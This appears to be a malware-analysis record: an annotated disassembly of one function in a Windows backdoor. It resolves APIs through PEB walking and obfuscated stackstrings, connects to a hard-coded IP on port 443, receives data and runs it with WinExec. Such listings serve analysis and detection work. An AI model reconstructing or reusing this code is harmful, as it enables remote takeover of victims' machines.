Function at 0x4015f0
Capabilities:
Access peb ldr_data
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1c0
push ebx
push ebp
push esi
push edi
xor eax, eax
mov dword [esp + 0x104], 0x64616f4c
mov word [esp + 0x1b0], ax
mov byte [esp + 0x110], al
mov byte [esp + 0x62], al
mov byte [esp + 0x140], al
mov byte [esp + 0x120], al
mov byte [esp + 0x162], al
mov byte [esp + 0x150], al
mov byte [esp + 0xd2], al
mov byte [esp + 0xde], al
mov byte [esp + 0x68], al
mov byte [esp + 0x8a], al
mov byte [esp + 0x34], al
mov byte [esp + 0xac], al
mov byte [esp + 0x130], al
mov eax, dword fs:[0x30]
mov dword [esp + 0x108], 0x7262694c
mov dword [esp + 0x10c], 0x41797261
mov dword [esp + 0x134], 0x74726956
mov dword [esp + 0x138], 0x416c6175
mov dword [esp + 0x13c], 0x636f6c6c
mov dword [esp + 0xe0], 0x74726956
mov dword [esp + 0xe4], 0x466c6175
mov dword [esp + 0xe8], 0x656572
mov dword [esp + 0x114], 0x61657243
mov dword [esp + 0x118], 0x68546574
mov dword [esp + 0x11c], 0x64616572
mov dword [esp + 0x154], 0x50746547
mov dword [esp + 0x158], 0x65636f72
mov dword [esp + 0x15c], 0x65487373
mov word [esp + 0x160], 0x7061
mov dword [esp + 0x144], 0x61657243
mov dword [esp + 0x148], 0x76456574
mov dword [esp + 0x14c], 0x41746e65
mov dword [esp + 0x6c], 0x65656c53
mov word [esp + 0x70], 0x70
mov dword [esp + 0xc8], 0x5f327357
mov dword [esp + 0xcc], 0x642e3233
mov word [esp + 0xd0], 0x6c6c
mov dword [esp + 0xd4], 0x53415357
mov dword [esp + 0xd8], 0x74726174
mov word [esp + 0xdc], 0x7075
mov dword [esp + 0x64], 0x646e6573
mov dword [esp + 0x74], 0x6e6f7468
mov word [esp + 0x78], 0x73
mov dword [esp + 0x84], 0x6b636f73
mov word [esp + 0x88], 0x7465
mov dword [esp + 0x94], 0x6e6e6f63
mov dword [esp + 0x98], 0x746365
mov dword [esp + 0x30], 0x76636572
mov dword [esp + 0xec], 0x736f6c63
mov dword [esp + 0xf0], 0x636f7365
mov dword [esp + 0xf4], 0x74656b
mov dword [esp + 0xa4], 0x74756873
mov dword [esp + 0xa8], 0x6e776f64
mov dword [esp + 0x124], 0x54746547
mov dword [esp + 0x128], 0x436b6369
mov dword [esp + 0x12c], 0x746e756f
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x198], 0x65006b
mov dword [esp + 0x19c], 0x6e0072
mov dword [esp + 0x1a0], 0x6c0065
mov dword [esp + 0x1a4], 0x320033
mov dword [esp + 0x1a8], 0x64002e
mov dword [esp + 0x1ac], 0x6c006c
mov dword [esp + 0x54], 0x50746547
mov dword [esp + 0x58], 0x41636f72
mov dword [esp + 0x5c], 0x65726464
mov word [esp + 0x60], 0x7373
mov dword [esp + 0x14], eax
test eax, eax
je 0x401930
cmp dword [eax + 0x18], 0
je 0x401930
mov ebp, dword [eax + 0x30]
test ebp, ebp
je 0x401928
xor esi, esi
cmp word [esp + 0x198], si
je 0x40190b
xor eax, eax
movzx ecx, word [eax + ebp]
lea edi, [eax + ebp]
test cx, cx
je 0x401907
lea ebx, [esp + 0x198]
add ebx, eax
movzx edx, word [ebx]
lea eax, [edx - 0x41]
cmp ax, 0x19
ja 0x4018dd
lea eax, [edx + 0x20]
mov word [ebx], ax
movzx edx, ax
lea eax, [ecx - 0x41]
cmp ax, 0x19
ja 0x4018f1
lea eax, [ecx + 0x20]
mov word [edi], ax
movzx eax, ax
jmp 0x4018f3
mov eax, ecx
cmp dx, ax
jne 0x401907
inc esi
lea eax, [esi + esi]
cmp word [esp + eax + 0x198], 0
jne 0x4018b3
mov eax, dword [esp + 0x14]
cmp word [esp + esi*2 + 0x198], 0
jne 0x401922
cmp word [ebp + esi*2], 0
je 0x4019cc
mov eax, dword [eax]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x401890
xor ebx, ebx
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x4019e1
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
mov dword [esp + 0x14], eax
test eax, eax
je 0x4019e1
mov ecx, dword [ebx + eax + 0x1c]
xor esi, esi
mov edx, dword [ebx + eax + 0x20]
mov ebp, dword [ebx + eax + 0x24]
mov dword [esp + 0x1b4], ecx
cmp dword [ebx + eax + 0x18], esi
jbe 0x4019e1
lea edi, [edx + ebx]
add ebp, ebx
movzx eax, word [ebp]
mov edx, dword [edi]
add edx, ebx
lea eax, [ecx + eax*4]
add eax, ebx
mov dword [esp + 0x1b8], eax
xor eax, eax
nop dword [eax]
mov cl, byte [edx + eax]
test cl, cl
je 0x4019a5
cmp byte [esp + eax + 0x54], cl
jne 0x4019a5
inc eax
cmp byte [esp + eax + 0x54], 0
jne 0x401990
cmp byte [esp + eax + 0x54], 0
jne 0x4019b2
cmp byte [eax + edx], 0
je 0x4019d4
mov eax, dword [esp + 0x14]
inc esi
add ebp, 2
add edi, 4
cmp esi, dword [ebx + eax + 0x18]
jae 0x4019e1
mov ecx, dword [esp + 0x1b4]
jmp 0x401973
mov ebx, dword [eax + 0x18]
jmp 0x401932
mov eax, dword [esp + 0x1b8]
mov eax, dword [eax]
add eax, ebx
jmp 0x4019e3
xor eax, eax
lea ecx, [esp + 0x104]
mov dword [0x404024], eax
push ecx
push ebx
call eax
mov dword [0x404028], eax
lea eax, [esp + 0x114]
push eax
push ebx
call dword [0x404024]
mov dword [0x40404c], eax
lea eax, [esp + 0x124]
push eax
push ebx
call dword [0x404024]
mov dword [0x404054], eax
lea eax, [esp + 0x134]
push eax
push ebx
call dword [0x404024]
mov dword [fcn.0040400c], eax
lea eax, [esp + 0xe0]
push eax
push ebx
call dword [0x404024]
mov dword [fcn.00404008], eax
lea eax, [esp + 0x154]
push eax
push ebx
call dword [0x404024]
mov dword [0x40402c], eax
lea eax, [esp + 0x144]
push eax
push ebx
call dword [0x404024]
push 4
push 0x3000
push 0x13
push 0
mov dword [0x40401c], eax
mov dword [esp + 0x198], 0x43746547
mov dword [esp + 0x19c], 0x75706d6f
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x1a1], 0
mov dword [esp + 0x58], 0x614e7265
mov dword [esp + 0x5c], 0x7845656d
mov word [esp + 0x60], 0x41
call dword [fcn.0040400c]
movq xmm0, qword [esp + 0x188]
mov ecx, eax
mov al, byte [esp + 0x13]
push ecx
push ebx
movq qword [ecx], xmm0
movq xmm0, qword [esp + 0x50]
mov byte [ecx + 8], al
mov ax, word [esp + 0x58]
movq qword [ecx + 9], xmm0
mov word [ecx + 0x11], ax
call dword [0x404024]
push 4
push 0x3000
push 0x16
push 0
mov dword [0x404058], eax
mov dword [esp + 0x48], 0x74696157
mov dword [esp + 0x4c], 0x4d726f46
mov dword [esp + 0x50], 0x69746c75
mov word [esp + 0x54], 0x6c70
mov byte [esp + 0x56], 0
mov dword [esp + 0x28], 0x6a624f65
mov dword [esp + 0x2c], 0x73746365
mov byte [esp + 0x30], 0
mov dword [esp + 0x9c], 0x47415357
mov word [esp + 0xa0], 0x7465
mov byte [esp + 0x23], 0x4c
mov byte [esp + 0xa3], 0
mov dword [esp + 0x34], 0x45747361
mov dword [esp + 0x38], 0x726f7272
mov byte [esp + 0x3c], 0
call dword [fcn.0040400c]
movq xmm0, qword [esp + 0x38]
mov esi, eax
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x1c]
push 4
movq qword [esi], xmm0
mov dword [esi + 8], ecx
movzx ecx, word [esp + 0x48]
push 0x3000
mov word [esi + 0xc], cx
mov ecx, dword [esp + 0x20]
push 0xf
push 0
mov dword [esi + 0xe], ecx
mov dword [esi + 0x12], edx
call dword [fcn.0040400c]
mov ecx, dword [esp + 0x8c]
mov edi, eax
mov al, byte [esp + 0x13]
mov edx, dword [esp + 0x28]
push esi
mov dword [edi], ecx
movzx ecx, word [esp + 0x94]
mov word [edi + 4], cx
mov ecx, dword [esp + 0x28]
mov byte [edi + 6], al
push ebx
mov dword [edi + 7], ecx
mov dword [edi + 0xb], edx
call dword [0x404024]
mov dword [0x404014], eax
lea eax, [esp + 0x6c]
push eax
push ebx
call dword [0x404024]
mov dword [0x404030], eax
lea eax, [esp + 0xc8]
push eax
call dword [0x404028]
mov esi, eax
lea eax, [esp + 0xd4]
push eax
push esi
call dword [0x404024]
mov dword [0x404034], eax
lea eax, [esp + 0x74]
push eax
push esi
call dword [0x404024]
mov dword [fcn.00404048], eax
lea eax, [esp + 0x64]
push eax
push esi
call dword [0x404024]
mov dword [fcn.0040405c], eax
lea eax, [esp + 0x84]
push eax
push esi
call dword [0x404024]
mov dword [fcn.00404038], eax
lea eax, [esp + 0x94]
push eax
push esi
call dword [0x404024]
mov dword [fcn.0040403c], eax
lea eax, [esp + 0x30]
push eax
push esi
call dword [0x404024]
push edi
push esi
mov dword [0x404060], eax
call dword [0x404024]
mov dword [fcn.00404020], eax
lea eax, [esp + 0xa4]
push eax
push esi
call dword [0x404024]
mov dword [0x404044], eax
lea eax, [esp + 0xec]
push eax
push esi
call dword [0x404024]
mov dword [0x404040], eax
lea eax, [esp + 0x7c]
push eax
push esi
mov dword [esp + 0x84], 0x686f746e
mov word [esp + 0x88], 0x73
mov dword [esp + 0xb8], 0x74656e69
mov dword [esp + 0xbc], 0x6464615f
mov word [esp + 0xc0], 0x72
mov dword [esp + 0xc4], 0x74656e69
mov dword [esp + 0xc8], 0x6f746e5f
mov word [esp + 0xcc], 0x61
mov dword [esp + 0x16c], 0x45415357
mov dword [esp + 0x170], 0x746e6576
mov dword [esp + 0x174], 0x656c6553
mov word [esp + 0x178], 0x7463
mov byte [esp + 0x17a], 0
mov dword [esp + 0x100], 0x61746567
mov dword [esp + 0x104], 0x69726464
mov dword [esp + 0x108], 0x6f666e
mov dword [esp + 0xa4], 0x456e6957
mov dword [esp + 0xa8], 0x636578
call dword [0x404024]
mov dword [0x404004], eax
lea eax, [esp + 0xb0]
push eax
push esi
call dword [0x404024]
mov dword [0x404050], eax
lea eax, [esp + 0xbc]
push eax
push esi
call dword [0x404024]
mov dword [section..text_1], eax
lea eax, [esp + 0x164]
push eax
push esi
call dword [0x404024]
mov dword [0x404018], eax
lea eax, [esp + 0xf8]
push eax
push esi
call dword [0x404024]
mov dword [0x404010], eax
lea eax, [esp + 0x9c]
push eax
push ebx
call dword [0x404024]
push 4
push 0x3000
push 0xe
push 0
mov dword [0x404064], eax
mov bh, 0x38
mov dword [esp + 0x184], 0x322e3232
xor bl, bl
mov byte [esp + 0x189], 0
mov dword [esp + 0x18c], 0x31322e30
mov dword [esp + 0x190], 0x37362e39
call dword [fcn.0040400c]
mov ecx, dword [esp + 0x174]
mov esi, eax
movq xmm0, qword [esp + 0x17c]
push 4
push 0x3000
mov dword [esi], ecx
mov byte [esi + 4], bh
push 0x190
movq qword [esi + 5], xmm0
push 0
mov byte [esi + 0xd], bl
call dword [fcn.0040400c]
push eax
push 0x202
call dword [0x404034]
push 6
push 1
push 2
call dword [fcn.00404038]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40209b
mov eax, 2
mov dword [esp + 0x1bc], 0
push esi
mov word [esp + 0x1c4], ax
call dword [0x404050]
push 0x1bb
mov dword [esp + 0x1c8], eax
call dword [fcn.00404048]
mov word [esp + 0x1c2], ax
nop dword [eax]
push 0x10
lea eax, [esp + 0x1c4]
push eax
push ebx
call dword [fcn.0040403c]
test eax, eax
jne 0x40208b
push 4
push 0x3000
push 0x10
push eax
call dword [fcn.0040400c]
push 0
push 0x10
mov edi, eax
push edi
push ebx
call dword [fcn.0040405c]
push 4
push 0x3000
push 0x100
push 0
call dword [fcn.0040400c]
push 0
mov esi, eax
mov dword [esp + 0x198], 0
push 4
lea eax, [esp + 0x19c]
push eax
push ebx
call dword [fcn.0040405c]
push 0
push dword [esp + 0x198]
push esi
push ebx
call dword [fcn.0040405c]
push 0x8000
push 0
push esi
call dword [fcn.00404008]
nop word [eax + eax]
call dword [0x404054]
push 0
push 0x10
push edi
push ebx
mov ebp, eax
call dword [0x404060]
mov esi, eax
cmp esi, 0x10
je 0x401f97
nop dword [eax + eax]
call dword [0x404054]
sub eax, ebp
cmp eax, 0x1388
jae 0x40204f
push 0
mov eax, 0x10
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
push ebx
call dword [0x404060]
push 1
add esi, eax
call dword [0x404030]
cmp esi, 0x10
jne 0x401f60
cmp byte [edi], 1
jne 0x402005
cmp byte [edi + 2], 1
jne 0x402005
cmp byte [edi + 4], 1
jne 0x402005
cmp byte [edi + 6], 1
jne 0x402005
cmp byte [edi + 8], 1
jne 0x402005
cmp byte [edi + 0xa], 1
jne 0x402005
cmp byte [edi + 0xc], 1
jne 0x402005
movsx ax, byte [edi + 0xe]
push 4
push 0x3000
movzx ebp, ax
lea eax, [ebp + 1]
push eax
push 0
call dword [fcn.0040400c]
lea ecx, [ebp + 0x32]
mov esi, eax
imul ecx, ecx, 0x64
push ecx
push ebp
push esi
push ebx
call fcn.004014e0
add esp, 0x10
test al, al
je 0x40206d
push 0
push esi
mov byte [esi + ebp], 0
call dword [0x404064]
jmp 0x401f2c
push 6
push 1
push 2
call dword [fcn.00404038]
mov esi, eax
lea eax, [esp + 0x1c0]
push 0x10
push eax
push esi
call dword [fcn.0040403c]
push 0
push 0x10
push edi
push esi
call dword [fcn.0040405c]
lea eax, [esp + 0x1bc]
push eax
push 0
push esi
push 0x401050
push 0
push 0
call dword [0x40404c]
jmp 0x401f40
push 0x8000
push 0
push edi
call dword [fcn.00404008]
push 0x3e8
call dword [0x404030]
jmp 0x401eb0
push 0x3e8
call dword [0x404030]
push 0x8000
push 0
push esi
call dword [fcn.00404008]
jmp 0x401eb0
push 0x1388
call dword [0x404030]
jmp 0x401eb0
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1c0
ret